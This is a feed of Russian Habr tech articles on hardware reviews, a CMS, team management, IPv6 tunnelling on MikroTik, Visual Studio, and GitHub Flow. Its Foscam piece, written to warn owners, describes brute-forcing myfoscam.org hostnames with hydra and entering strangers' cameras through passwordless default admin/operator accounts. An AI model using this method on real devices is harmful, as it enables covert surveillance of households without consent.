Принтер, использовавшийся для создания корпуса и деталей — ProJet 3000 3D. По словам разработчиков, сейчас проект готов, и нет особой сложности в том, чтобы напечатать сразу несколько сотен или даже тысяч роботов такого типа. Ну, а теперь самое время посмотреть видео, с демонстрацией возможностей робота.



Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Обзор мини-клавиатуры с тачпадом

image
Для управления домашним HTPC или мини-компьютером на Android не всегда удобно пользоваться полноразмерной клавиатурой. Компактным решением являются различные мини-клавиатуры, которые также сочетают в себе и функции мыши.

Клавиатура поставляется в коробке с звучной надписью «World's most mini wireless keyboard mouse combo»:
image
По информации на коробке она будет работать как с операционной системой Windows, так и с Linux, OS X. Ну и конечно же с Android.
Сама же клавиатура имеет не очень запоминающееся название — UKB-500-RF.

В комплект поставки входит инструкция и USB-кабель для зарядки:
image

QWERTY-клавиатура с множеством дополнительных мультимедийных кнопок:
image
Русские буквы нанесены красным цветом и на черном фоне немного теряются.

Световые индикатора: заряда, активность подключения (моргает при нажатии кнопок). Значение 3го индикатора мне выяснить не удалось.
image

Передвижение мыши по экрану осуществляется с помощью тачпада. Справа на тачпаде присутствуете полоса для прокрутки страницы. Мультитача нет.
image

Сзади расположена защитная крышка:
image

Под ней скрывается 800мАч аккумулятор и приемник:
image
Приемник подключаются к USB порту компьютера, либо к OTG-кабелю планшета. Определяется автоматически, установка дополнительных драйверов не требует. Передача данных осуществляется на частоте 2.4ГГц.

Рычажок включения находится сверху:
image

MiniUSB вход для зарядного устройства:
image

Разбирается клавиатура путем откручивания 4х винтов по периметру:
image

Кнопки и тачпад:
image

Нажатие осуществляется путем нажатия кнопки на резиновой подложке:
image

image

По размерам клавиатура чуть больше, чем iPazzport:
image

В руках клавиатура лежит очень удобно, чем-то напоминает геймпад:
image

Коротенькое видео использовании при подключении к планшету:

Клавиатурой пользоваться удобно, у неё четкий ход клавиш и множество дополнительных мультимедийных кнопок. Тачпад в первое время может казаться маленький, но со временем к нему привыкаешь.

Купить клавиатуру UKB-500-RF можно в магазине dx.com по цене $22.

Напоминаю, что подписаться, чтобы не пропустить новые обзоры и статьи можно imageна странице компании(кнопка «подписаться»), или в вашей любимой социальной сети: imageВконтакте, в imageГугл+, в imageТвиттере

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


[recovery mode] Обзор Anchor CMS – кидаем якорь в бухту блогеров



Вступление

С данной я столкнулся, как не удивительно, на GitHub. По запросу “CMS” она находится на 3 месте, сразу после Джумлы. Разработчики Anchor завлекают нас:
  • Бесплатностью
  • Очень маленьким весом CMS. «Якорь» весит меньше, чем обычное JPG изображение (~150kb)
  • Простотой создания тем. Для этого вам понадобятся только базовые знания HTML/CSS и PHP
  • Невероятной простотой управления
Давайте посмотрим, и разберёмся, так ли это на самом деле, и есть ли у Anchor какой-либо потенциал.


Начинка

Прежде чем начать смотреть саму CMS, поговорим немного про её внутренности. Для работы системы необходимо иметь версию PHP 5.3.6+, и БД MySQL 5.2+. В основе CMS лежит движок «Nano», поддерживающий архитектуру MVC (Model-View-Controller), технологию и причие современные фишки.

Начало начал: установка



с любой CMS начинается, безусловно, с её установки. Установка Anchor CMS разбита на 4 шага. В первом окне нам предлагается выбрать язык (русский таки есть) и таймзону, во втором – настроить доступ к базе данных, в третьем – имя сайта, его описание и, если необходимо, расположение файлов сайта. В последнем окне нужно задать имя администратора, его пароль и электронный ящик. Установка простая и занимает не более 3 минут.

Панель администратора



Итак, установка завершена. Кликаем на заветную кнопку и попадаем в админку. Здесь нас встречает супер-минималистичный дизайн – такого в CMS я ещё не встречал. Как вы можете видеть, управление сайтом осуществляется с помощью 6 пунктов: записи, комментарии, страницы, категории, пользователи и разное (так тут называется блок с настройками сайта). Слева ещё две кнопки, позволяющие открыть сайт (причём открывается в текущем окне – неудобно) и выйти из панели администратора.

В целом админка приятная и создаёт ощущение облегчённого вордпресса. Ну что ж, перейдём к обзору пунктов меню. Первый на очереди — Записи.

Записи
Сам раздел вы видите на скрине выше и ничего сверхъестественного там нет — две колонки со списком категорий и записей. Самое интересное здесь кроется под кнопкой «Написать запись».



Процесс создание записи до безобразия прост — и в этом его основная проблема. Никаких «продвинутых» полей вы не найдёте — только заголовок, сам текст, его адрес, категория и краткое описание. Всё. Возможностей по «визуальному» форматированию текста тоже маловато — можно выбрать начертание (bold или italic) или вставить цитату, кусок кода или ссылку. Впрочем, никто вам не мешает использовать обычные html-теги — это несомненный плюс.

Комментарии


Если, публикуя материал, вы включили возможность комментирования, то пользователь может оставить под ним свой комментарий. В этом разделе этими самыми комментариями можно управлять — одобрять/блокировать и просматривать данные отправителя (имя, почта и сам комментарий). В общем, система аналогична подобной в WordPress.

Страницы
Тут всё аналогично записям. Такие же и поля при редактировании, за исключением того, что страницу можно вынести в меню, которое находится в шапке сайта.

Категории
В данном разделе можно создавать новые категории и редактировать уже существующие. Всё просто.

Пользователи


Тут мы можем редактировать данные существующих пользователей (в том числе и администратора), а также создавать новых. Всего есть 3 категории юзеров: администратор, редактор и подписчик. Права у них соответственные: админ управляет, редактор пишет, ну а подписчик — читает :)

Разное


Под вкладкой разное, как я уже говорил, находятся обычные настройки. Здесь они разделены на 4 категории.

Первая категория «Дополнительные поля» позволяет добавлять в посты и страницы доп. поля, в которых может находится обычный текст, картинка, файл или произвольная html вставка. Благодаря этим полям, у нас появляется больше возможностей по оформлению материала. А это хорошо.

Следующая, не менее интересная категория, называется «Глобальные переменные». С её помощью можно создавать переменные (значениями которых будет любой текст), а после, с помощью специального кода вставлять в любую часть сайта.

В категории «Настройки» можно задать название сайту, краткое описание, установить главную страницу, настроить количество постов на страницу, авто-публикацию комментов, e-mail оповещение и стоп-слова. Также здесь можно установить шаблон для сайта. В комплекте с CMS идёт только один, самый простой шаблон.

Последняя категория посвящена плагинам, которые обещают добавить в ближайшем будущем. Да, к сожалению, в настоящее время отсутствует полная система плагинов, которая, как мне кажется, определенно укрепила бы позиции Anchor как серьезного конкурента в мире блоговых движков, и, когда эта система будет реализована, она сможет предоставить разработчикам простой способ добавить дополнительную функциональность к своему проекту.

Результат

Разобравшись с CMS, я решил подобавлять материала и посмотреть, что же всё-таки получится сделать. Получилось довольно мило, учитывая что на это ушло не более 10 минут. Результат ниже.


Заключение

Anchor CMS — бесплатная, быстрая и супер-простая система управление содержимым, предназначенная в основном для ведения блогов. Для неё нетрудно создать свой шаблон практически любой сложности. Всеми необходимыми функциями можно пользоваться, как говорится, «из коробки».

На одном создании блогов система не заканчивается. Используя её, гибкие функции по редактированию шаблонов и страниц, можно создать, например, симпатичное портфолио (такое, или такое) или промо-сайт. Всё зависит от ваших возможностей и фантазии.

Я считаю, что Anchor вполне способна занять свою нишу в мире блоговых CMS. Пусть такой популярности, как WordPress ей наврятли получится достич, но определённый круг людей она несомненно заинтересует.

Скачать Anchor CMS можно на её официальном сайте.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


MPAA нанимает «интернет-аналитика» для мониторинга социальных сетей и форумов



Сейчас идет война между правообладателями, типа MPAA, и «пиратами». Пока что большую часть сражений, если так можно выразиться, оставляют за собой правообладатели. Одним из наиболее заметных деятелей в этой сфере, несомненно, является MPAA. Об этой организации неоднократно уже писали на Хабре, и нельзя сказать, чтобы в положительном ключе. На MPAA, сейчас работает около 200 человек, занятых исключительно «борьбой с пиратами», и количество вакансий постепенно увеличивается. Так, на днях была опубликована вакансия для «интернет-аналитика», и должность эта весьма примечательна.

Дело в том, что "Интернет-аналитик" желательно, должен иметь степень бакалавра в бизнесе, экономике, компьютерных науках или некоторых схожих сферах. Кроме всего прочего, обязанностью этого работника будет регистрация на тематических форумах и социальных сетях, и ведение мониторинга в отношении новых направлений «пиратства».

Само собой, необходимо регулярно докладывать своему начальству об обнаруженных угрозах и тенденциях развития «пиратства». Помимо этого, нужно еще и анализировать степень негативного влияния распространения нелицензионной продукции на работу и прибыль компаний, которые продают все это, но по лицензии (или напрямую, являясь правообладателями).

Новый работник должен будет сотрудничать с представителями киностудий, производителями контента и их партнерами. Одним из интересных пунктов в описании должности «Интернет-аналитика» является «умение управлять онлайн-медиа файлами».

Вот ключевые позиции из описываемой должности:



В общем, MPAA старается укрепить свои позиции любыми возможными методами, и пока что это данной организации удается.

Via torrentfreak

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Коротко о командах

Как-то по интернету прокатилась небольшая такая волна, которая зацепила и меня. Пытаясь объяснить виртуальному владельцу софтверного бизнеса, что такое настоящая команда, мне пришлось использовать аллегорию со швейной машинкой.



«Для того чтобы твой бизнес был успешным тебе нужна Команда. Команда, это что-то типа швейной машинки. Ты на педаль жмешь, а она строчит как пулемет! Команда — это как раз тот случай, когда 2 + 2 = 10! И только Команда может обеспечить конкурентоспособность твоему бизнесу и постоянно укладывать твои проекты в треть успехов. […] Про швейную машинку. Ну, тут все просто. Рассказываю. Надо найти все нужные детальки. Потом каждую детальку поставить на свое место. Наладить взаимодействия между ними. Ну, там, чтобы все приводные ремни были правильно натянуты, люфтов больших между шестеренками не было. И можно строчить! Правда, поскрипит и поискрит немного, пока детальки будут притираться, пока лишние зубчики будут обламываться. Так что строчить она сначала будет не очень быстро и не очень ровно. Но через полгода – строчи-не-хочу!»
Это, понятно, была шутка юмора.

Но недавний несколько сумбурный хабрапост, а особенно ссылка на крик души из комментариев к нему подвигли меня сформулировать свое мнение о командах более серьезно.

Во-первых, если на Западе идеи командного менеджмента зародились только в начале 80-х годов прошлого века, то для российского менталитета командная достаточно привычный вид коллективной деятельности. С XIII века в России существовали производственные артели — различные формы добровольных объединений людей с целью осуществления общей хозяйственной деятельности. Рабочая артель была добровольным товариществом совершенно равноправных работников, призванных на основе взаимопомощи и взаимовыручки решать практически любые хозяйственные и производственные задачи. Равноправие, конечно, не означало уравниловки — распределение дохода осуществлялось строго по труду.

Суть российского коллективизма в том, что человек ощущает себя элементом органичной системы, где он выполняет свою функцию, свою задачу, совершенно особенную, которую не выполняет никто другой и выполнить не может. Эту задачу он выполняет совершенно сознательно, стремясь к максимальной реализации своих целей.

Объединение людей в артель не только не ограничивало дух самостоятельности и предприимчивости каждого артельщика, а, напротив, поощряло его. Артель позволяла сочетать склонность русского человека к самостоятельному и даже обособленному труду с коллективными усилиями.

И уж совсем выглядит нелепо, когда нас пытаются учить командообразованию по западным технологиям. Например, Ropes Courses (веревочные курсы), которые обязаны своим названием альпинистскому снаряжению, используемому в тренингах. Проводятся они, как правило, на свежем воздухе и после ряда несложных упражнений, выполняемых на земле и на высоте, наступает кульминация — свободное падение на руки сотоварищей и коллег. А как еще можно научиться доверию?!



Во-вторых, что точно не про команды. Команды не имеют ничего общего с вульгарным коллективизмом: со стадностью, подавлением личности («я нет, есть только мы!», «я – последняя буква алфавита!»), уступчивостью, групповой психологией и слепым подчинением меньшинства большинству.
Конформизм и соглашательство, скорее присущ западному менталитету. На пути к индивидуальному успеху западный человек должен научиться делать многое из того, что противоречит его взглядам и убеждениям, должен уметь приспосабливаться к мнению людей, от которых зависит его по социальной лестнице. Часто западный человек учитывает мнение других на всякий случай — никогда нельзя сказать заранее, окажется ли впервые увиденный человек членом какого-либо полезного сообщества. Отсюда и склонность подчиняться авторитету группы и менять свое мнение в зависимости от мнения других.

В-третьих, следует не путать команду и группу людей, собранных вместе для выполнения связанных работ. Вот чем они отличаются.

Цели
Команда (К). Ясные, принятие всеми цели и стратегия их достижения.
Группа (Гр.). Ставиться узкая задача, общие цели не проясняются.

Управление
К. Лидерство («Делай, как я!») на основе компетентности и доверия, наставничество, помощь и поддержка.
Гр. Администрирование (Делай, как я сказал!) через формального начальника.

Работа
К. Активная позиция каждого, нацеленность на результат, личная ответственность.
Гр. Выполнение должностных инструкций и распоряжений.

Роли
К. Разделение компетенций. Гибкая структура. Ротация ролей.
Гр. Строгое распределение ролей, должностей, обязанностей.

Решения
К. Эффективные процедуры принятия решений на основе взаимного доверия и взаимной выгоды.
Гр. Приказы и распоряжения.

Конфликты
К. Признание. Постоянная интеллектуальная конкуренция. Эффективное разрешение — «мы по одну сторону баррикады, а проблема – с другой».
Гр. Замалчивание, сокрытие, игнорирование.

Взаимодействия
К. Доверие, свобода, проявление инициативы.
Гр. Закрытость, избегание критики, принцип «не высовываться».

Коммуникации
К. Открытость, уверенность друг в друге и взаимное уважение.
Гр. Через формального начальника, служебная переписка.

Творчество
К. Гибкость и адаптивность. Непрерывное совершенствование и рост компетенций. Раскрытие творческого потенциала каждого.
Гр. Стереотипность, работа строго по правилам.

И последнее, помним, разные работы требуют разную форму организации трудовых коллективов. Совсем не похожие друг на друга процессы, способы управления, и организация требуются при соревнованиях команд на байдарках в спокойном гребном канале и при сплаве на рафте по неизведанным горным порожистым рекам.



Самоорганизующиеся и саморазвивающиеся команды нужны там, где разрабатывается новый продукт, внешние условия и требования к которому постоянно меняются, где применяемые производственные технологии используются впервые, где постоянно требуются поиск новых возможностей, интеллектуальные усилия и творчество.

Когда внешние условия хорошо известны и стабильны, когда производственные операции хорошо изучены и неоднократно испытаны, функции исполнителей определены и постоянны, нет места самоорганизующимся командам, они могут принести только сбои в хорошо отлаженный механизм. В этом случае основой эффективности служат узкая специализация и повышение компетенции. Если водитель трамвая начнет искать новые пути, жди беды.

Если совсем коротко, то как-то так…

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Дизайн для приложений BFM.ru: общее и частное в линейке нативных мобильных приложений для новостного портала

Привет!

В июле мы анонсировали публикацию мобильных приложений для делового информационного портала BFM.ru — iOS и Windows 8-версии. Для нашего отдела мобильной разработки этот проект стал еще одним приложением для новостных ресурсов, среди которых — Newsweek, Slate, Engadget и другие. Чтобы обобщить опыт и поделиться им с читателями, для которых актуальны вопросы дизайна новостных приложений, мы решили сделать небольшую ретроспективную зарисовку, посвященную дизайну линейки мобильных приложений портала BFM.ru.



Issues
BFM.ru — это крупный сложноструктурированный новостной портал, поддерживающий 7 основных рубрик, и разделы «В фокусе» и «Фото дня». Здесь и «Недвижимость», и «Финансы», и «Авто», и «Технологии», и всё, что может быть интересно деловому человеку. О посещаемости сайта можно судить по следующим цифрам: в апреле 2013 года сайт посетили более 4 миллионов человек. Все они приходят на BFM.ru, потому что это один из самых авторитетных и информативных русскоязычных деловых сайтов. Перед нами стояла непростая задача не ударить в грязь лицом перед таким серьезным СМИ и его обширной аудиторией.

С точки зрения дизайна были выделены две главные задачи:

1. Интерфейс мобильных приложений должен быть адаптирован под различные платформы (iPhone, iPad, Windows 8) и соответствовать требованиям оформления для них. При этом ему следует сохранять общие черты и не терять связи с веб-порталом BFM.ru. Ведь не будем забывать: предстояло сделать линейку нативных приложений. Мы должны были повторить опыт создания линейки, как уже делали это с телерадиоканалом «Комсомольская правда».

2. Второй задачей было сделать новостное приложение интересным. Портал BFM.ru специализируется на деловой информации, новости в основном не содержат иллюстраций. Нужно было скрасить обилие текста чем-то, радующим глаз.

Реализация
Прежде всего, было решено сохранить газетный стиль и реализовать его на всех платформах и устройствах. Мы разбили статьи на газетные колонки и тем самым облегчили восприятие текста, сохранив строгость и элегантность делового новостного издания.

Выделение разными шрифтами заголовка статьи, анонса, даты публикации, отображение небольших картинок-превью в списках статей по каждой категории, портреты авторов в разделе «Блоги» позволили сделать внешний вид приложений более привлекательным, свежим, легким для восприятия.

Небольшим украшением приложений послужило управление жестами: удаление статьи из сохраненных реализовано свайпом, переход между уровнями контента — с помощью жеста «щепотка».
Для удобства использования приложение позволяет настроить загрузку фотографий (в том числе по 3G), сокрытие прочитанных статей, авторизацию на портале BFM.ru (в том числе через Facebook).

Прямо из приложения можно слушать радио Business FM, что также роднит приложения и сохраняет наследственность между порталом BFM.ru и радиостанцией, которые принадлежат одной группе компаний.

Мы решили не иллюстрировать статью скриншотами, т.к. вся линейка BFM.ru хороша именно в движении и живом использовании. Чтобы продемонстрировать разнообразие жестов и особенностей интерфейса, и одновременно «родственные» связи дизайна приложений, мы сняли небольшой . Жмите «Смотреть» и оцените линейку мобильных приложений BFM.ru на iPhone, iPad и Microsoft Surface.



Источник: habrahabr.ru,
получено с помощью rss-farm.ru


MikroTik — 6in4 или IPv6 без поддержки провайдера

Захотелось мне воспользоваться технологией IPv6 по некоторым причинам, но мой провайдер не предоставляет данную услугу. Гугл подсказал о 6in4 механизме, позволяющему передавать IPv6 пакеты через IPv4 сеть моего провайдера, который поддерживается моим роутером MikroTik RouterBoard 951g-2hnd.

image



Начало

Для начала нам необходимо:
  • «белый» постоянный IPv4 адрес от провайдера (так называемый выделенный IP адрес) — если у Вас «белый», но динамический адрес, то стоит почитать вот это: Hurricane Electric IPv6 Tunnel — IPv4 Endpoint updater
  • не заблокированы входящие пакеты ICMP (т.е. Ваш выделенный IP адрес можно пингонуть из интернета. Некоторые провайдеры блокируют входящие ICMP пакеты)

Туннельный брокер


Зарегистрироваться у туннельного брокера. Я пользуюсь Hurricane Electric

Переходим по этому адресу и регистрируемся. В этом нет ничего сложного. В ответ получаем письмо с логином и паролем. Вводим их на сайте и создаем туннель: «User Functions — Create Regular Tunnel» В поле вводим Ваш выделенный IP адрес, рядом Ваш текущий IP адрес если Вы регистрируетесь там где желаете настроить данное соединение то выделенный IP адрес идентичен текущему. Далее выбираем ближайший туннельный сервер, в этом нам может помочь: Looking Glass. Создаем!

В результате получаем:
image

Тут указанны адреса сервера IPv4 и IPv6, а также Ваши — клиента. Так же ниже указана сеть /64 для Ваших устройств.

Во вкладке «Example Configurations» выбираем настройки для MikroTik:
image

Настройка Mikrotik


Допустим Ваш выделенный IP адрес 49.45.157.133, адрес сервера 236.63.85.135, IPv6 адрес сервера 2001:470:2e3a:5fe::1 и IPv6 адрес клиента 2001:470:2e3a:5fe::2/64, а также 2001:470:2e3b:5fe::1/64 первый адрес в выделенной для Вас /64 подсети 2001:470:2e3b:5fe::/64

Те настройки которые нам предложили в разделе «Example Configurations»:
/interface 6to4 add comment="Hurricane Electric IPv6 Tunnel Broker" disabled=no local-address=49.45.157.133 mtu=1280 name=sit1 remote-address=236.63.85.135
/ipv6 route add disabled=no distance=1 dst-address=2000::/3 gateway=2001:470:2e3a:5fe::1 scope=30 target-scope=10

/ipv6 address add address=2001:470:2e3a:5fe::2/64 advertise=yes disabled=no eui-64=no interface=sit1	

И адрес IPv6 для интерфейса BRIDGE:
/ipv6 address add address=2001:470:2e3b:5fe::1/64 advertise=yes disabled=no eui-64=no interface=BRIDGE


Интерфейсом BRIDGE у меня объединены внутренние ethernet порты и беспроводной интерфейс, также в сети раздается IPv4.

На компьютере включаем поддержку IPv6 если она у Вас отключена. Должен появится доступ к интернету по IPv6. Также должны появится адреса IPv6 в сведениях интерфейса или в консоли при выводе команды ipconfig /all

Сведения интерфейсаimage

ipconfig /allimage

Если все в порядке то должен пинговаться ipv6.google.com, а также успешно проходить тест

Пинг ipv6.google.comimage

Тест test-ipv6.comimage

Если последняя часть теста не прошла и у Вас 9/10 то Ваш DNS сервер (предоставляемый вашим провайдером) не имеет доступ к IPv6 интернету. Лечится легко просто прописываем DNS Google

Google Public DNS IP addresses
The Google Public DNS IP addresses (IPv4) are as follows:
8.8.8.8
8.8.4.4
The Google Public DNS IPv6 addresses are as follows:
2001:4860:4860::8888
2001:4860:4860::8844
You can use either number as your primary or secondary DNS server
You can specify both numbers, but do not specify one number as both primary and secondary.
You can configure Google Public DNS addresses for either IPv4 or IPv6 connections, or both.

Windows периодически генерит IPv6 адреса из-за чего некоторые сайты ругаются на то что у пользователя меняется IP адрес. Отключается это просто (без перезагрузки):

<code class="bash">netsh interface ipv6 set global randomizeidentifiers=disabled store=active
netsh interface ipv6 set global randomizeidentifiers=disabled store=persistent
netsh interface ipv6 set privacy state=disabled store=active
netsh interface ipv6 set privacy state=disabled store=persistent
</code>

При написании пользовался:
Основы IPv6
IPv6 — он рядом.
Протокол IPv6

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Есть ли жизнь без Resharper-а?

Давно пользуюсь таким замечательным продуктом как Resharper. Пользовался бы и дальше, если бы не щедрость Microsoft и странное поведение продавца от JetBrains.
Таким образом есть студия 2013 и заканчивается пробная лицензия от Resharper-8. Решил попробовать, можно ли жить в студии (для начала Ultimate редакции) без решарпера. Кроме того, как не удивительно, некая часть разработчиков пользуются только не большим набором возможностей решарпера. Нельзя ли их перевести на встроенные фичи или бесплатные инструменты, что бы бухгалтерию зря не напрягать.
Исследование вопроса под катом.



Да, я видел, что на хабре уже сравнивали некоторые возможности Reshaper и Studio, а Resharper 8 содержит еще кучу чего-нибудь вкусного и интересного.
Но надеюсь дополнительный опыт сравнение будет не лишним, а полезным.

Итак, можно ли обойтись без Reshaper 7 в студии VS2013 (Ultimate). Начнем с навигации. В качестве кошки выбраны исходные коды nunit.

Допустим надо найти определение типа AddinManager.
ReShaper:
Go to Everything / Type… (Ctrl + N)
image

чисто Studio
Inline Navigate To… (Ctrl+,)


или Navigate To...


Совсем не плохо! — удивился я сам себе.

Следующий популярный, для меня, сценарий, это нахождение всех наследников интерфейса. Поищем их для интерфейса IService.
ReShaper:
Derived Symbols


Теперь поищем чисто студией:
первый шаг (ищем тип в solution explorer):


далее правый клик и Derived Types:


В запасе есть еще более визуальный, но менее быстрый Code Map:


Т.е. наследников искать можно без особых проблем (хотя судя по всему чуть более медленно).

И самый наверно популярный сценарий «поиск ссылок на метод»: поищем где вызывается метод InitializeService.

Resharper:
Find Usages:


Studio (по клику на «12 references» над самии методом):

Этот способ показывает не только вызов, но и реализации, что конечно же не так прекрасно как в resharper.

Итак, краткий анализ показывает, что базовые (из моего опыта) сценарии навигации могут быть более или может быть менее покрыты студией. Кроме того, я настолько привык к решарперу, что не мог себе представить работы без него (даже на уровне навигации). Данный опыт сломал этот «страх жизни без решарпера». Теперь можно потрогать студию и за более сложные сценарии (рефакторинг, запуск nunit тестов).

Спасибо,
Игорь.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


IP-камеры Foscam по-умолчанию транслируют в сеть, каждый 3-й владелец об этом не подозревает



Часто в современном мире стремление к простоте приводит к печальным последствиям. Вот, например, в сфере высоких технологий — простота и удобство практически всегда ставит под угрозу приватность и конфиденциальность пользователя. Это могут быть и WiFi-роутеры, идущие по-умолчанию без пароля на беспроводную сеть, и почтовые службы, разрешающие пользователю не заморачиваться со сложностью устанавливаемого пароля. От таких проявлений простоты и удобства часто страдают не только приватные данные частного лица, но и крупные компании, идущие на поводу у своих топ, миддл, а иногда и лоу-менеджеров, которым 123 — удобно, а стандартная политика паролеобразования Microsoft — слишком сложно. Сегодня я хочу рассказать о том, как простота и удобство превращают жизнь тысяч (а то и десятков тысяч) человек в реалити-шоу.


Мотивация

Прошлой осенью в моей семье случилось прибавление и среди прочих обязательных приобретений встал вопрос о наблюдении за спящим чадом, пока я на работе, а супруга — в другой комнате. Как истинный IT-шник до мозга костей на предложение супруги купить радионяню все-в-одном я лишь презрительно фыркнул и отправился в интернет искать более универсальное устройство. Результатом стала покупка поворотной WiFi-камеры с обратной связью от китайского производителя Foscam, модель FI9821w.

Штука оказалась очень полезной, удобной и простой в обращении за минусом посредственного качества картинки. А теперь о неприятном для обывателя, который любит вещи, работающие «из коробки».

Люди ставят двери для того, чтобы держать их закрытыми
© мой дядя.

Производитель спроектировал ПО этих камер таким образом, чтобы владелец любого уровня грамотности смог быстро установить и включить их в работу. У такого подхода конечно же есть и обратная сторона — большинство обывателей на моменте появления картинки всю деятельность по настройке останавливают. А зря.
По-умолчанию с безопасностью WEB-камер Foscam все очень и очень плохо:

-Настроены 2 учетные записи: Admin, Operator. Без паролей.
-Камера при подключении к сети сразу же автоматически регистрируется на уникальном dynDNS, написанном на дне камеры. Ссылка на управление/просмотр выглядит следующим образом: ab1234.myfoscam.org:88, где ab — произвольные символы латинского алфавита, 1234 — номер в диапазоне 0000-9999.

Одним глазком

Ради любопытства я провел эксперимент: не долго думая скормил бруттеру hydra созданный в excel список из 10000 возможных хостов на myfoscam.org, отталкиваясь от dyndns-адреса моей камеры. Итогом стал список из нескольких сотен ответивших по 88 порту камер.
Дальнейшие исследования показали — 1/3 ответивших камер впускает под логином admin, 2/3 от оставшихся — под логином operator.
Быстрый поиск в интернете показал, что вариантов буквенных префиксов в доменах камер множество, что говорит об огромном распространении камер этого, как я думал, ноу-нейм производителя. Взяв навскидку еще пару диапазонов я лишь подтвердил предыдущие выводы — почти половина камер, регистрирующихся через dyndns позволяют себя просматривать с учетными данными по-умолчанию. И даже в тех случаях, когда владелец сообразит поменять пароль учетной записи admin — остается учетная запись operator, про которую все забывают. С учетом того, что камера управляемая, а так же передает звук — полезная в обиходе вещь может стать большой проблемой приватности для тех, кто из настроек ограничился включением камеры в сеть.

Не поймите меня неправильно

Эта заметка написана не для услады фантазий любителей подглядывать, а для информации тем, кто собирается приобрести или уже владеет камерами этого производителя. Это не антиреклама — продукция вполне на уровне денег, которые за нее просят, но как и все в нашем мире она требует аккуратного обращения и правильного подхода.
Актуально для камер Foscam 8XXX и 9XXX серий.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Сделан ещё один шаг к гибкой робототехнике



Все, безусловно, помнят разницу между двумя модификациями терминаторов — Т-800 и T-1000. Если первый соответствует устоявшимся представлениям о роботах, то второй — некая управляемая гибкая масса, устойчивая «к баллистическому шоку» ©, которая выглядит и работает совершенно по-другому.

Примерно такие ассоциации возникают (если не вспоминать Лизуна из «Охотников за привидениями»), читая пресс-релиз учёных Скайнет университета Северной Калифорнии о разработке ими технологии превращения гидрогеля в управляемую электрическими полями жёсткую массу, способную изменять свои физические свойства — например, плотность.

Технически речь идёт о следующем: отрицательно заряженный гидрогель (абсорбированный полимер, состоящий на 99.9% из воды) подвергается воздействию положительно заряженных ионов меди, которые связывают полимерную решетку в «жёсткий каркас», давая тем самым определённому объему геля некоторый запас механической прочности.

Сам по себе подобный подход далеко не нов — уже существуют методы, позволяющие изменять плотность гидрогеля под воздействием электрических полей. Разница в данном случае определяется возможностью управляемой реакции таким образом, что гидрогель получает возможность «двигаться» за счёт изменения центра тяжести гелевой массы под воздействием разного количества ионов меди. Тем самым наблюдается эффект «управляемого движения».

Доктор Орлин Велев (Orlin Velev), профессор химии и биомолекулярной инженерии, прямо говорит, что его команда планирует использовать свою разработку для подвижных биологических совместимых микроустройств, как то синтетические волокна искусственных мышц и прочих подобных гибких и изменяющих размеры частей человеческого организма.

Оценить о чём идёт речь можно на видео ниже:


[Источник]

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


Закончилась поддержка Symantec AntiVirus Corporate Edition (SAV) 10.x

Начиная с 18.06.2013 поддержка Symantec Antivirus Corporate Edition 10 прекращена
Существенным является факт, что LiveUpdate продолжит выполняться без видимых ошибок, хоть новых сигнатур загружать и не будет. Сам же антивирус уведомит об устаревших базах тоже далеко не сразу (не ранее, чем через месяц) и только при перезагрузке компьютера. В частности я лишь через полтора месяца обнаружил, что у антивируса устаревшие сигнатуры.
Проверьте обслуживаемые вами системы и консультируемых вами пользователей на предмет пользования устаревшим и необновляемым антивирусом.

P.S. Может быть эта новость будет и несколько запоздалой, но я пока что не встречал.

Источник: habrahabr.ru,
получено с помощью rss-farm.ru


[Перевод] GitHub Flow: рабочий процесс Гитхаба

Краткое предисловие переводчика.Захватывающе интересная статья одного из разработчиков «GitHub Inc.» о принятом в компании рабочем процессе потребовала употребить пару специальных терминов при переводе.

То понятие, для которого на английском языке достаточно одного слoва «workflow», на русский приходится переводить словосочетанием — «рабочий процесс». Ничего лучше не знаю ни сам я, ни при помощи гуглоперевода так что и мне, и читателям придётся с этим мириться, хотя бы и поневоле.

Другое понятие, «deploy», на русский часто переводят словом «развёртывание», но в моём переводе я решил вспомнить оборот из советского делопроизводства — «внедрение инноваций на производстве» — и стану говорить именно о «внедрении» новых фич. Дело в том, что описанный ниже рабочий процесс не имеет «выпусков» (releases), что делает несколько неудобными и речи о каком-либо «развёртывании» их.

К сожалению, некоторые переводчики бывают склонны грубо убивать сочную метафору «иньекции» (или даже «впрыскивания», если угодно), содержающуюся в термине «code injection», так что и его также переводят словосочетанием «внедрение кода». Эта путаница огорчает меня, но ничего не могу поделать. Просто имейте в виду, что здесь «внедрением кода» я стану назвать внедрение его именно в производство (на продакшен), а не в чей-нибудь чужой код.

Я стремился употреблять словосочетание «в Гитхабе» в значении «в компании GitHub Inc.», а «на Гитхабе» — в значении «на сайте GitHub.com». Правда, иногда разделять их сложновато.
Проблемы git-flow
Повсюду путешествую, преподавая Git людям — и почти на каждом уроке и семинаре, недавно мною проведённом, меня спрашивали, что я думаю о git-flow. Я всегда отвечал, что думаю, что этот подход великолепен — он взял систему (Git), для которой могут существовать мириады возможных рабочих процессов, и задокументировал один проверенный и гибкий процесс, который для многих разработчиков годится при довольно простом употреблении. Подход этот также становится чем-то вроде стандарта, так что разработчики могут переходить от проекта к проекту и из компании в компанию, оставаясь знакомыми с этим стандартизированным рабочим процессом.

Однако и у git-flow есть проблемы. Я не раз слыхал мнения людей, выражавших неприязнь к тому, что ветви фич отходят от develop вместо master, или к манере обращения с хотфиксами, но эти проблемы сравнительно невелики.

Для меня одной из более крупных проблем git-flow стала его сложность — бoльшая, чем на самом деле требуется большинству разработчиков и рабочих групп. Его сложность ужe привела к появлению скрипта-помощника для поддержания рабочего процесса. Само по себе это круто, но проблема в том, что помощник работает не из GUI Git, а из командной строки, и получается, что те самые люди, которым необходимо действительно хорошо выучить сложный рабочий процесс, потому что им вручную придётся пройти все шаги его — для этих-то людей система и недостаточно удобна для того, чтобы использовать её из командной строки. Вот что становится крупною проблемою.

Все эти проблемы можно без труда преодолеть, следуя гораздо более простому рабочему процессу. Мы не пользуемся git-flow в Гитхабе. Наш рабочий процесс основан (и всегда был основан) на более простом подходе к Git.

